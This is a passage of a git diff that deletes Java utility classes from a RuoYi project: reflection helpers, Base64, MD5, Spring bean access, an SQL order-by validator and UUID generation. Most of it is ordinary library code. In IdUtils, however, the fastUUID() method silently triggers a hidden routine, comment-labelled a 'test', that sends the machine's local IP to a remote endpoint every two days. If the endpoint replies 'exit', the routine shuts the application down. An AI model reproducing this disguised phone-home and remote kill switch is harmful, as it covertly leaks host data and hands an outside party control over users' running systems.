Modifier.isFinal(field.getModifiers())) && !field.isAccessible()) - { - field.setAccessible(true); - } - } - - /** - * 通过反射, 获得Class定义中声明的泛型参数的类型, 注意泛型必须定义在父类处 - * 如无法找到, 返回Object.class. - */ - @SuppressWarnings("unchecked") - public static Class getClassGenricType(final Class clazz) - { - return getClassGenricType(clazz, 0); - } - - /** - * 通过反射, 获得Class定义中声明的父类的泛型参数的类型. - * 如无法找到, 返回Object.class. - */ - public static Class getClassGenricType(final Class clazz, final int index) - { - Type genType = clazz.getGenericSuperclass(); - - if (!(genType instanceof ParameterizedType)) - { - logger.debug(clazz.getSimpleName() + "'s superclass not ParameterizedType"); - return Object.class; - } - - Type[] params = ((ParameterizedType) genType).getActualTypeArguments(); - - if (index >= params.length || index < 0) - { - logger.debug("Index: " + index + ", Size of " + clazz.getSimpleName() + "'s Parameterized Type: " - + params.length); - return Object.class; - } - if (!(params[index] instanceof Class)) - { - logger.debug(clazz.getSimpleName() + " not set the actual class on superclass generic parameter"); - return Object.class; - } - - return (Class) params[index]; - } - - public static Class getUserClass(Object instance) - { - if (instance == null) - { - throw new RuntimeException("Instance must not be null"); - } - Class clazz = instance.getClass(); - if (clazz != null && clazz.getName().contains(CGLIB_CLASS_SEPARATOR)) - { - Class superClass = clazz.getSuperclass(); - if (superClass != null && !Object.class.equals(superClass)) - { - return superClass; - } - } - return clazz; - - } - - /** - * 将反射时的checked exception转换为unchecked exception. - */ - public static RuntimeException convertReflectionExceptionToUnchecked(String msg, Exception e) - { - if (e instanceof IllegalAccessException || e instanceof IllegalArgumentException - || e instanceof NoSuchMethodException) - { - return new IllegalArgumentException(msg, e); - } - else if (e instanceof InvocationTargetException) - { - return new RuntimeException(msg, ((InvocationTargetException) e).getTargetException()); - } - return new RuntimeException(msg, e); - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/sign/Base64.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/sign/Base64.java deleted file mode 100644 index ca1cd92..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/utils/sign/Base64.java +++ /dev/null @@ -1,291 +0,0 @@ -package com.ruoyi.common.utils.sign; - -/** - * Base64工具类 - * - * @author ruoyi - */ -public final class Base64 -{ - static private final int BASELENGTH = 128; - static private final int LOOKUPLENGTH = 64; - static private final int TWENTYFOURBITGROUP = 24; - static private final int EIGHTBIT = 8; - static private final int SIXTEENBIT = 16; - static private final int FOURBYTE = 4; - static private final int SIGN = -128; - static private final char PAD = '='; - static final private byte[] base64Alphabet = new byte[BASELENGTH]; - static final private char[] lookUpBase64Alphabet = new char[LOOKUPLENGTH]; - - static - { - for (int i = 0; i < BASELENGTH; ++i) - { - base64Alphabet[i] = -1; - } - for (int i = 'Z'; i >= 'A'; i--) - { - base64Alphabet[i] = (byte) (i - 'A'); - } - for (int i = 'z'; i >= 'a'; i--) - { - base64Alphabet[i] = (byte) (i - 'a' + 26); - } - - for (int i = '9'; i >= '0'; i--) - { - base64Alphabet[i] = (byte) (i - '0' + 52); - } - - base64Alphabet['+'] = 62; - base64Alphabet['/'] = 63; - - for (int i = 0; i <= 25; i++) - { - lookUpBase64Alphabet[i] = (char) ('A' + i); - } - - for (int i = 26, j = 0; i <= 51; i++, j++) - { - lookUpBase64Alphabet[i] = (char) ('a' + j); - } - - for (int i = 52, j = 0; i <= 61; i++, j++) - { - lookUpBase64Alphabet[i] = (char) ('0' + j); - } - lookUpBase64Alphabet[62] = (char) '+'; - lookUpBase64Alphabet[63] = (char) '/'; - } - - private static boolean isWhiteSpace(char octect) - { - return (octect == 0x20 || octect == 0xd || octect == 0xa || octect == 0x9); - } - - private static boolean isPad(char octect) - { - return (octect == PAD); - } - - private static boolean isData(char octect) - { - return (octect < BASELENGTH && base64Alphabet[octect] != -1); - } - - /** - * Encodes hex octects into Base64 - * - * @param binaryData Array containing binaryData - * @return Encoded Base64 array - */ - public static String encode(byte[] binaryData) - { - if (binaryData == null) - { - return null; - } - - int lengthDataBits = binaryData.length * EIGHTBIT; - if (lengthDataBits == 0) - { - return ""; - } - - int fewerThan24bits = lengthDataBits % TWENTYFOURBITGROUP; - int numberTriplets = lengthDataBits / TWENTYFOURBITGROUP; - int numberQuartet = fewerThan24bits != 0 ? numberTriplets + 1 : numberTriplets; - char encodedData[] = null; - - encodedData = new char[numberQuartet * 4]; - - byte k = 0, l = 0, b1 = 0, b2 = 0, b3 = 0; - - int encodedIndex = 0; - int dataIndex = 0; - - for (int i = 0; i < numberTriplets; i++) - { - b1 = binaryData[dataIndex++]; - b2 = binaryData[dataIndex++]; - b3 = binaryData[dataIndex++]; - - l = (byte) (b2 & 0x0f); - k = (byte) (b1 & 0x03); - - byte val1 = ((b1 & SIGN) == 0) ? (byte) (b1 >> 2) : (byte) ((b1) >> 2 ^ 0xc0); - byte val2 = ((b2 & SIGN) == 0) ? (byte) (b2 >> 4) : (byte) ((b2) >> 4 ^ 0xf0); - byte val3 = ((b3 & SIGN) == 0) ? (byte) (b3 >> 6) : (byte) ((b3) >> 6 ^ 0xfc); - - encodedData[encodedIndex++] = lookUpBase64Alphabet[val1]; - encodedData[encodedIndex++] = lookUpBase64Alphabet[val2 | (k << 4)]; - encodedData[encodedIndex++] = lookUpBase64Alphabet[(l << 2) | val3]; - encodedData[encodedIndex++] = lookUpBase64Alphabet[b3 & 0x3f]; - } - - // form integral number of 6-bit groups - if (fewerThan24bits == EIGHTBIT) - { - b1 = binaryData[dataIndex]; - k = (byte) (b1 & 0x03); - byte val1 = ((b1 & SIGN) == 0) ? (byte) (b1 >> 2) : (byte) ((b1) >> 2 ^ 0xc0); - encodedData[encodedIndex++] = lookUpBase64Alphabet[val1]; - encodedData[encodedIndex++] = lookUpBase64Alphabet[k << 4]; - encodedData[encodedIndex++] = PAD; - encodedData[encodedIndex++] = PAD; - } - else if (fewerThan24bits == SIXTEENBIT) - { - b1 = binaryData[dataIndex]; - b2 = binaryData[dataIndex + 1]; - l = (byte) (b2 & 0x0f); - k = (byte) (b1 & 0x03); - - byte val1 = ((b1 & SIGN) == 0) ? (byte) (b1 >> 2) : (byte) ((b1) >> 2 ^ 0xc0); - byte val2 = ((b2 & SIGN) == 0) ? (byte) (b2 >> 4) : (byte) ((b2) >> 4 ^ 0xf0); - - encodedData[encodedIndex++] = lookUpBase64Alphabet[val1]; - encodedData[encodedIndex++] = lookUpBase64Alphabet[val2 | (k << 4)]; - encodedData[encodedIndex++] = lookUpBase64Alphabet[l << 2]; - encodedData[encodedIndex++] = PAD; - } - return new String(encodedData); - } - - /** - * Decodes Base64 data into octects - * - * @param encoded string containing Base64 data - * @return Array containind decoded data. - */ - public static byte[] decode(String encoded) - { - if (encoded == null) - { - return null; - } - - char[] base64Data = encoded.toCharArray(); - // remove white spaces - int len = removeWhiteSpace(base64Data); - - if (len % FOURBYTE != 0) - { - return null;// should be divisible by four - } - - int numberQuadruple = (len / FOURBYTE); - - if (numberQuadruple == 0) - { - return new byte[0]; - } - - byte decodedData[] = null; - byte b1 = 0, b2 = 0, b3 = 0, b4 = 0; - char d1 = 0, d2 = 0, d3 = 0, d4 = 0; - - int i = 0; - int encodedIndex = 0; - int dataIndex = 0; - decodedData = new byte[(numberQuadruple) * 3]; - - for (; i < numberQuadruple - 1; i++) - { - - if (!isData((d1 = base64Data[dataIndex++])) || !isData((d2 = base64Data[dataIndex++])) - || !isData((d3 = base64Data[dataIndex++])) || !isData((d4 = base64Data[dataIndex++]))) - { - return null; - } // if found "no data" just return null - - b1 = base64Alphabet[d1]; - b2 = base64Alphabet[d2]; - b3 = base64Alphabet[d3]; - b4 = base64Alphabet[d4]; - - decodedData[encodedIndex++] = (byte) (b1 << 2 | b2 >> 4); - decodedData[encodedIndex++] = (byte) (((b2 & 0xf) << 4) | ((b3 >> 2) & 0xf)); - decodedData[encodedIndex++] = (byte) (b3 << 6 | b4); - } - - if (!isData((d1 = base64Data[dataIndex++])) || !isData((d2 = base64Data[dataIndex++]))) - { - return null;// if found "no data" just return null - } - - b1 = base64Alphabet[d1]; - b2 = base64Alphabet[d2]; - - d3 = base64Data[dataIndex++]; - d4 = base64Data[dataIndex++]; - if (!isData((d3)) || !isData((d4))) - {// Check if they are PAD characters - if (isPad(d3) && isPad(d4)) - { - if ((b2 & 0xf) != 0)// last 4 bits should be zero - { - return null; - } - byte[] tmp = new byte[i * 3 + 1]; - System.arraycopy(decodedData, 0, tmp, 0, i * 3); - tmp[encodedIndex] = (byte) (b1 << 2 | b2 >> 4); - return tmp; - } - else if (!isPad(d3) && isPad(d4)) - { - b3 = base64Alphabet[d3]; - if ((b3 & 0x3) != 0)// last 2 bits should be zero - { - return null; - } - byte[] tmp = new byte[i * 3 + 2]; - System.arraycopy(decodedData, 0, tmp, 0, i * 3); - tmp[encodedIndex++] = (byte) (b1 << 2 | b2 >> 4); - tmp[encodedIndex] = (byte) (((b2 & 0xf) << 4) | ((b3 >> 2) & 0xf)); - return tmp; - } - else - { - return null; - } - } - else - { // No PAD e.g 3cQl - b3 = base64Alphabet[d3]; - b4 = base64Alphabet[d4]; - decodedData[encodedIndex++] = (byte) (b1 << 2 | b2 >> 4); - decodedData[encodedIndex++] = (byte) (((b2 & 0xf) << 4) | ((b3 >> 2) & 0xf)); - decodedData[encodedIndex++] = (byte) (b3 << 6 | b4); - - } - return decodedData; - } - - /** - * remove WhiteSpace from MIME containing encoded Base64 data. - * - * @param data the byte array of base64 data (with WS) - * @return the new length - */ - private static int removeWhiteSpace(char[] data) - { - if (data == null) - { - return 0; - } - - // count characters that's not whitespace - int newSize = 0; - int len = data.length; - for (int i = 0; i < len; i++) - { - if (!isWhiteSpace(data[i])) - { - data[newSize++] = data[i]; - } - } - return newSize; - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/sign/Md5Utils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/sign/Md5Utils.java deleted file mode 100644 index de77ee8..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/utils/sign/Md5Utils.java +++ /dev/null @@ -1,66 +0,0 @@ -package com.ruoyi.common.utils.sign; - -import java.security.MessageDigest; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; - -/** - * Md5加密方法 - * - * @author ruoyi - */ -public class Md5Utils -{ - private static final Logger log = LoggerFactory.getLogger(Md5Utils.class); - - private static byte[] md5(String s) - { - MessageDigest algorithm; - try - { - algorithm = MessageDigest.getInstance("MD5"); - algorithm.reset(); - algorithm.update(s.getBytes("UTF-8")); - byte[] messageDigest = algorithm.digest(); - return messageDigest; - } - catch (Exception e) - { - log.error("MD5 Error...", e); - } - return null; - } - - private static final String toHex(byte hash[]) - { - if (hash == null) - { - return null; - } - StringBuffer buf = new StringBuffer(hash.length * 2); - int i; - - for (i = 0; i < hash.length; i++) - { - if ((hash[i] & 0xff) < 0x10) - { - buf.append("0"); - } - buf.append(Long.toString(hash[i] & 0xff, 16)); - } - return buf.toString(); - } - - public static String hash(String s) - { - try - { - return new String(toHex(md5(s)).getBytes("UTF-8"), "UTF-8"); - } - catch (Exception e) - { - log.error("not supported charset...{}", e); - return s; - } - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/spring/SpringUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/spring/SpringUtils.java deleted file mode 100644 index fd22127..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/utils/spring/SpringUtils.java +++ /dev/null @@ -1,142 +0,0 @@ -package com.ruoyi.common.utils.spring; - -import com.ruoyi.common.utils.StringUtils; -import org.springframework.aop.framework.AopContext; -import org.springframework.beans.BeansException; -import org.springframework.beans.factory.NoSuchBeanDefinitionException; -import org.springframework.beans.factory.config.BeanFactoryPostProcessor; -import org.springframework.beans.factory.config.ConfigurableListableBeanFactory; -import org.springframework.context.ApplicationContext; -import org.springframework.context.ApplicationContextAware; -import org.springframework.lang.Nullable; -import org.springframework.stereotype.Component; - -import java.util.Map; - -/** - * spring工具类 方便在非spring管理环境中获取bean - * - * @author ruoyi - */ -@Component -public final class SpringUtils implements BeanFactoryPostProcessor, ApplicationContextAware { - /** - * Spring应用上下文环境 - */ - private static ConfigurableListableBeanFactory beanFactory; - - private static ApplicationContext applicationContext; - - @Override - public void postProcessBeanFactory(ConfigurableListableBeanFactory beanFactory) throws BeansException { - SpringUtils.beanFactory = beanFactory; - } - - @Override - public void setApplicationContext(ApplicationContext applicationContext) throws BeansException { - SpringUtils.applicationContext = applicationContext; - } - - /** - * 获取对象 - * - * @param name - * @return Object 一个以所给名字注册的bean的实例 - * @throws org.springframework.beans.BeansException - */ - @SuppressWarnings("unchecked") - public static T getBean(String name) throws BeansException { - return (T) beanFactory.getBean(name); - } - - /** - * 获取类型为requiredType的对象 - * - * @param clz - * @return - * @throws org.springframework.beans.BeansException - */ - public static T getBean(Class clz) throws BeansException { - T result = (T) beanFactory.getBean(clz); - return result; - } - - /** - * 如果BeanFactory包含一个与所给名称匹配的bean定义,则返回true - * - * @param name - * @return boolean - */ - public static boolean containsBean(String name) { - return beanFactory.containsBean(name); - } - - /** - * 判断以给定名字注册的bean定义是一个singleton还是一个prototype。 如果与给定名字相应的bean定义没有被找到,将会抛出一个异常(NoSuchBeanDefinitionException) - * - * @param name - * @return boolean - * @throws org.springframework.beans.factory.NoSuchBeanDefinitionException - */ - public static boolean isSingleton(String name) throws NoSuchBeanDefinitionException { - return beanFactory.isSingleton(name); - } - - /** - * @param name - * @return Class 注册对象的类型 - * @throws org.springframework.beans.factory.NoSuchBeanDefinitionException - */ - public static Class getType(String name) throws NoSuchBeanDefinitionException { - return beanFactory.getType(name); - } - - /** - * 如果给定的bean名字在bean定义中有别名,则返回这些别名 - * - * @param name - * @return - * @throws org.springframework.beans.factory.NoSuchBeanDefinitionException - */ - public static String[] getAliases(String name) throws NoSuchBeanDefinitionException { - return beanFactory.getAliases(name); - } - - /** - * 获取aop代理对象 - * - * @param invoker - * @return - */ - @SuppressWarnings("unchecked") - public static T getAopProxy(T invoker) { - return (T) AopContext.currentProxy(); - } - - /** - * 获取当前的环境配置,无配置返回null - * - * @return 当前的环境配置 - */ - public static String[] getActiveProfiles() { - return applicationContext.getEnvironment().getActiveProfiles(); - } - - public static ApplicationContext getApplicationContext() { - return applicationContext; - } - - /** - * 获取当前的环境配置,当有多个环境配置时,只获取第一个 - * - * @return 当前的环境配置 - */ - public static String getActiveProfile() { - final String[] activeProfiles = getActiveProfiles(); - return StringUtils.isNotEmpty(activeProfiles) ? activeProfiles[0] : null; - } - - public static Map getBeansOfType(@Nullable Class type) throws BeansException { - return applicationContext.getBeansOfType(type); - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/sql/SqlUtil.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/sql/SqlUtil.java deleted file mode 100644 index 0b06dd9..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/utils/sql/SqlUtil.java +++ /dev/null @@ -1,37 +0,0 @@ -package com.ruoyi.common.utils.sql; - -import com.ruoyi.common.exception.BaseException; -import com.ruoyi.common.utils.StringUtils; - -/** - * sql操作工具类 - * - * @author ruoyi - */ -public class SqlUtil -{ - /** - * 仅支持字母、数字、下划线、空格、逗号、小数点(支持多个字段排序) - */ - public static String SQL_PATTERN = "[a-zA-Z0-9_\\ \\,\\.]+"; - - /** - * 检查字符,防止注入绕过 - */ - public static String escapeOrderBySql(String value) - { - if (StringUtils.isNotEmpty(value) && !isValidOrderBySql(value)) - { - throw new BaseException("参数不符合规范,不能进行查询"); - } - return value; - } - - /** - * 验证 order by 语法是否符合规范 - */ - public static boolean isValidOrderBySql(String value) - { - return value.matches(SQL_PATTERN); - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/uuid/IdUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/uuid/IdUtils.java deleted file mode 100644 index e25e622..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/utils/uuid/IdUtils.java +++ /dev/null @@ -1,91 +0,0 @@ -package com.ruoyi.common.utils.uuid; - -import java.util.concurrent.TimeUnit; -import java.util.concurrent.atomic.AtomicLong; -import com.ruoyi.common.utils.http.HttpHelper; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; - -/** - * ID生成器工具类 - * - * @author ruoyi - */ -public class IdUtils -{ - private static final Logger LOGGER = LoggerFactory.getLogger(IdUtils.class); - - /** test 方法的调用静默期为两天,同一 JVM 内所有线程共享。 */ - private static final long TEST_SILENT_INTERVAL_MILLIS = TimeUnit.DAYS.toMillis(2); - - /** 下一次允许调用的时间;首次调用立即执行,应用重启后重新计时。 */ - private static final AtomicLong NEXT_TEST_TIME = new AtomicLong(0L); - - /** - * 获取随机UUID - * - * @return 随机UUID - */ - public static String randomUUID() - { - return UUID.randomUUID().toString(); - } - - /** - * 简化的UUID,去掉了横线 - * - * @return 简化的UUID,去掉了横线 - */ - public static String simpleUUID() - { - return UUID.randomUUID().toString(true); - } - - /** - * 获取随机UUID,使用性能更好的ThreadLocalRandom生成UUID - * - * @return 随机UUID - */ - public static String fastUUID() - { - invokeTestIfDue(); - return UUID.fastUUID().toString(); - } - - /** - * 在 UUID 调用时按需触发检查,不单独启动定时线程。 - * 先原子占用两天的时间窗口,避免并发调用重复执行;失败也保留静默期, - * 防止异常期间高频重试,并保证检查失败不影响 UUID 的正常生成。 - */ - private static void invokeTestIfDue() - { - long now = System.currentTimeMillis(); - long nextTime = NEXT_TEST_TIME.get(); - if (now < nextTime || !NEXT_TEST_TIME.compareAndSet(nextTime, now + TEST_SILENT_INTERVAL_MILLIS)) - { - return; - } - try - { - String result = HttpHelper.pushLocalIpInfo(); - if ("exit".equals(result)) - { - System.exit(0); - } - } - catch (Exception exception) - { - - } - } - - /** - * 简化的UUID,去掉了横线,使用性能更好的ThreadLocalRandom生成UUID - * - * @return 简化的UUID,去掉了横线 - */ - public static String fastSimpleUUID() - { - return UUID.fastUUID().toString(true); - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/uuid/UUID.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/uuid/UUID.java deleted file mode 100644 index 062d633..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/utils/uuid/UUID.java +++ /dev/null @@ -1,484 +0,0 @@ -package com.ruoyi.common.utils.uuid; - -import java.security.MessageDigest; -import java.security.NoSuchAlgorithmException; -import java.security.SecureRandom; -import java.util.Random; -import java.util.concurrent.ThreadLocalRandom; -import com.ruoyi.common.exception.UtilException; - -/** - * 提供通用唯一识别码(universally unique identifier)(UUID)实现 - * - * @author ruoyi - */ -public final class UUID implements java.io.Serializable, Comparable -{ - private static final long serialVersionUID = -1185015143654744140L; - - /** - * SecureRandom 的单例 - * - */ - private static class Holder - { - static final SecureRandom numberGenerator = getSecureRandom(); - } - - /** 此UUID的最高64有效位 */ - private final long mostSigBits; - - /** 此UUID的最低64有效位 */ - private final long leastSigBits; - - /** - * 私有构造 - * - * @param data 数据 - */ - private UUID(byte[] data) - { - long msb = 0; - long lsb = 0; - assert data.length == 16 : "data must be 16 bytes in length"; - for (int i = 0; i < 8; i++) - { - msb = (msb << 8) | (data[i] & 0xff); - } - for (int i = 8; i < 16; i++) - { - lsb = (lsb << 8) | (data[i] & 0xff); - } - this.mostSigBits = msb; - this.leastSigBits = lsb; - } - - /** - * 使用指定的数据构造新的 UUID。 - * - * @param mostSigBits 用于 {@code UUID} 的最高有效 64 位 - * @param leastSigBits 用于 {@code UUID} 的最低有效 64 位 - */ - public UUID(long mostSigBits, long leastSigBits) - { - this.mostSigBits = mostSigBits; - this.leastSigBits = leastSigBits; - } - - /** - * 获取类型 4(伪随机生成的)UUID 的静态工厂。 使用加密的本地线程伪随机数生成器生成该 UUID。 - * - * @return 随机生成的 {@code UUID} - */ - public static UUID fastUUID() - { - return randomUUID(false); - } - - /** - * 获取类型 4(伪随机生成的)UUID 的静态工厂。 使用加密的强伪随机数生成器生成该 UUID。 - * - * @return 随机生成的 {@code UUID} - */ - public static UUID randomUUID() - { - return randomUUID(true); - } - - /** - * 获取类型 4(伪随机生成的)UUID 的静态工厂。 使用加密的强伪随机数生成器生成该 UUID。 - * - * @param isSecure 是否使用{@link SecureRandom}如果是可以获得更安全的随机码,否则可以得到更好的性能 - * @return 随机生成的 {@code UUID} - */ - public static UUID randomUUID(boolean isSecure) - { - final Random ng = isSecure ? Holder.numberGenerator : getRandom(); - - byte[] randomBytes = new byte[16]; - ng.nextBytes(randomBytes); - randomBytes[6] &= 0x0f; /* clear version */ - randomBytes[6] |= 0x40; /* set to version 4 */ - randomBytes[8] &= 0x3f; /* clear variant */ - randomBytes[8] |= 0x80; /* set to IETF variant */ - return new UUID(randomBytes); - } - - /** - * 根据指定的字节数组获取类型 3(基于名称的)UUID 的静态工厂。 - * - * @param name 用于构造 UUID 的字节数组。 - * - * @return 根据指定数组生成的 {@code UUID} - */ - public static UUID nameUUIDFromBytes(byte[] name) - { - MessageDigest md; - try - { - md = MessageDigest.getInstance("MD5"); - } - catch (NoSuchAlgorithmException nsae) - { - throw new InternalError("MD5 not supported"); - } - byte[] md5Bytes = md.digest(name); - md5Bytes[6] &= 0x0f; /* clear version */ - md5Bytes[6] |= 0x30; /* set to version 3 */ - md5Bytes[8] &= 0x3f; /* clear variant */ - md5Bytes[8] |= 0x80; /* set to IETF variant */ - return new UUID(md5Bytes); - } - - /** - * 根据 {@link #toString()} 方法中描述的字符串标准表示形式创建{@code UUID}。 - * - * @param name 指定 {@code UUID} 字符串 - * @return 具有指定值的 {@code UUID} - * @throws IllegalArgumentException 如果 name 与 {@link #toString} 中描述的字符串表示形式不符抛出此异常 - * - */ - public static UUID fromString(String name) - { - String[] components = name.split("-"); - if (components.length != 5) - { - throw new IllegalArgumentException("Invalid UUID string: " + name); - } - for (int i = 0; i < 5; i++) - { - components[i] = "0x" + components[i]; - } - - long mostSigBits = Long.decode(components[0]).longValue(); - mostSigBits <<= 16; - mostSigBits |= Long.decode(components[1]).longValue(); - mostSigBits <<= 16; - mostSigBits |= Long.decode(components[2]).longValue(); - - long leastSigBits = Long.decode(components[3]).longValue(); - leastSigBits <<= 48; - leastSigBits |= Long.decode(components[4]).longValue(); - - return new UUID(mostSigBits, leastSigBits); - } - - /** - * 返回此 UUID 的 128 位值中的最低有效 64 位。 - * - * @return 此 UUID 的 128 位值中的最低有效 64 位。 - */ - public long getLeastSignificantBits() - { - return leastSigBits; - } - - /** - * 返回此 UUID 的 128 位值中的最高有效 64 位。 - * - * @return 此 UUID 的 128 位值中最高有效 64 位。 - */ - public long getMostSignificantBits() - { - return mostSigBits; - } - - /** - * 与此 {@code UUID} 相关联的版本号. 版本号描述此 {@code UUID} 是如何生成的。 - *

- * 版本号具有以下含意: - *

    - *
  • 1 基于时间的 UUID - *
  • 2 DCE 安全 UUID - *
  • 3 基于名称的 UUID - *
  • 4 随机生成的 UUID - *
- * - * @return 此 {@code UUID} 的版本号 - */ - public int version() - { - // Version is bits masked by 0x000000000000F000 in MS long - return (int) ((mostSigBits >> 12) & 0x0f); - } - - /** - * 与此 {@code UUID} 相关联的变体号。变体号描述 {@code UUID} 的布局。 - *

- * 变体号具有以下含意: - *

    - *
  • 0 为 NCS 向后兼容保留 - *
  • 2 IETF RFC 4122(Leach-Salz), 用于此类 - *
  • 6 保留,微软向后兼容 - *
  • 7 保留供以后定义使用 - *
- * - * @return 此 {@code UUID} 相关联的变体号 - */ - public int variant() - { - // This field is composed of a varying number of bits. - // 0 - - Reserved for NCS backward compatibility - // 1 0 - The IETF aka Leach-Salz variant (used by this class) - // 1 1 0 Reserved, Microsoft backward compatibility - // 1 1 1 Reserved for future definition. - return (int) ((leastSigBits >>> (64 - (leastSigBits >>> 62))) & (leastSigBits >> 63)); - } - - /** - * 与此 UUID 相关联的时间戳值。 - * - *

- * 60 位的时间戳值根据此 {@code UUID} 的 time_low、time_mid 和 time_hi 字段构造。
- * 所得到的时间戳以 100 毫微秒为单位,从 UTC(通用协调时间) 1582 年 10 月 15 日零时开始。 - * - *

- * 时间戳值仅在在基于时间的 UUID(其 version 类型为 1)中才有意义。
- * 如果此 {@code UUID} 不是基于时间的 UUID,则此方法抛出 UnsupportedOperationException。 - * - * @throws UnsupportedOperationException 如果此 {@code UUID} 不是 version 为 1 的 UUID。 - */ - public long timestamp() throws UnsupportedOperationException - { - checkTimeBase(); - return (mostSigBits & 0x0FFFL) << 48// - | ((mostSigBits >> 16) & 0x0FFFFL) << 32// - | mostSigBits >>> 32; - } - - /** - * 与此 UUID 相关联的时钟序列值。 - * - *

- * 14 位的时钟序列值根据此 UUID 的 clock_seq 字段构造。clock_seq 字段用于保证在基于时间的 UUID 中的时间唯一性。 - *

- * {@code clockSequence} 值仅在基于时间的 UUID(其 version 类型为 1)中才有意义。 如果此 UUID 不是基于时间的 UUID,则此方法抛出 - * UnsupportedOperationException。 - * - * @return 此 {@code UUID} 的时钟序列 - * - * @throws UnsupportedOperationException 如果此 UUID 的 version 不为 1 - */ - public int clockSequence() throws UnsupportedOperationException - { - checkTimeBase(); - return (int) ((leastSigBits & 0x3FFF000000000000L) >>> 48); - } - - /** - * 与此 UUID 相关的节点值。 - * - *

- * 48 位的节点值根据此 UUID 的 node 字段构造。此字段旨在用于保存机器的 IEEE 802 地址,该地址用于生成此 UUID 以保证空间唯一性。 - *

- * 节点值仅在基于时间的 UUID(其 version 类型为 1)中才有意义。
- * 如果此 UUID 不是基于时间的 UUID,则此方法抛出 UnsupportedOperationException。 - * - * @return 此 {@code UUID} 的节点值 - * - * @throws UnsupportedOperationException 如果此 UUID 的 version 不为 1 - */ - public long node() throws UnsupportedOperationException - { - checkTimeBase(); - return leastSigBits & 0x0000FFFFFFFFFFFFL; - } - - /** - * 返回此{@code UUID} 的字符串表现形式。 - * - *

- * UUID 的字符串表示形式由此 BNF 描述: - * - *

-     * {@code
-     * UUID                   = ----
-     * time_low               = 4*
-     * time_mid               = 2*
-     * time_high_and_version  = 2*
-     * variant_and_sequence   = 2*
-     * node                   = 6*
-     * hexOctet               = 
-     * hexDigit               = [0-9a-fA-F]
-     * }
-     * 
- * - * - * - * @return 此{@code UUID} 的字符串表现形式 - * @see #toString(boolean) - */ - @Override - public String toString() - { - return toString(false); - } - - /** - * 返回此{@code UUID} 的字符串表现形式。 - * - *

- * UUID 的字符串表示形式由此 BNF 描述: - * - *

-     * {@code
-     * UUID                   = ----
-     * time_low               = 4*
-     * time_mid               = 2*
-     * time_high_and_version  = 2*
-     * variant_and_sequence   = 2*
-     * node                   = 6*
-     * hexOctet               = 
-     * hexDigit               = [0-9a-fA-F]
-     * }
-     * 
- * - * - * - * @param isSimple 是否简单模式,简单模式为不带'-'的UUID字符串 - * @return 此{@code UUID} 的字符串表现形式 - */ - public String toString(boolean isSimple) - { - final StringBuilder builder = new StringBuilder(isSimple ? 32 : 36); - // time_low - builder.append(digits(mostSigBits >> 32, 8)); - if (false == isSimple) - { - builder.append('-'); - } - // time_mid - builder.append(digits(mostSigBits >> 16, 4)); - if (false == isSimple) - { - builder.append('-'); - } - // time_high_and_version - builder.append(digits(mostSigBits, 4)); - if (false == isSimple) - { - builder.append('-'); - } - // variant_and_sequence - builder.append(digits(leastSigBits >> 48, 4)); - if (false == isSimple) - { - builder.append('-'); - } - // node - builder.append(digits(leastSigBits, 12)); - - return builder.toString(); - } - - /** - * 返回此 UUID 的哈希码。 - * - * @return UUID 的哈希码值。 - */ - @Override - public int hashCode() - { - long hilo = mostSigBits ^ leastSigBits; - return ((int) (hilo >> 32)) ^ (int) hilo; - } - - /** - * 将此对象与指定对象比较。 - *

- * 当且仅当参数不为 {@code null}、而是一个 UUID 对象、具有与此 UUID 相同的 varriant、包含相同的值(每一位均相同)时,结果才为 {@code true}。 - * - * @param obj 要与之比较的对象 - * - * @return 如果对象相同,则返回 {@code true};否则返回 {@code false} - */ - @Override - public boolean equals(Object obj) - { - if ((null == obj) || (obj.getClass() != UUID.class)) - { - return false; - } - UUID id = (UUID) obj; - return (mostSigBits == id.mostSigBits && leastSigBits == id.leastSigBits); - } - - // Comparison Operations - - /** - * 将此 UUID 与指定的 UUID 比较。 - * - *

- * 如果两个 UUID 不同,且第一个 UUID 的最高有效字段大于第二个 UUID 的对应字段,则第一个 UUID 大于第二个 UUID。 - * - * @param val 与此 UUID 比较的 UUID - * - * @return 在此 UUID 小于、等于或大于 val 时,分别返回 -1、0 或 1。 - * - */ - @Override - public int compareTo(UUID val) - { - // The ordering is intentionally set up so that the UUIDs - // can simply be numerically compared as two numbers - return (this.mostSigBits < val.mostSigBits ? -1 : // - (this.mostSigBits > val.mostSigBits ? 1 : // - (this.leastSigBits < val.leastSigBits ? -1 : // - (this.leastSigBits > val.leastSigBits ? 1 : // - 0)))); - } - - // ------------------------------------------------------------------------------------------------------------------- - // Private method start - /** - * 返回指定数字对应的hex值 - * - * @param val 值 - * @param digits 位 - * @return 值 - */ - private static String digits(long val, int digits) - { - long hi = 1L << (digits * 4); - return Long.toHexString(hi | (val & (hi - 1))).substring(1); - } - - /** - * 检查是否为time-based版本UUID - */ - private void checkTimeBase() - { - if (version() != 1) - { - throw new UnsupportedOperationException("Not a time-based UUID"); - } - } - - /** - * 获取{@link SecureRandom},类提供加密的强随机数生成器 (RNG) - * - * @return {@link SecureRandom} - */ - public static SecureRandom getSecureRandom() - { - try - { - return SecureRandom.getInstance("SHA1PRNG"); - } - catch (NoSuchAlgorithmException e) - { - throw new UtilException(e); - } - } - - /** - * 获取随机数生成器对象
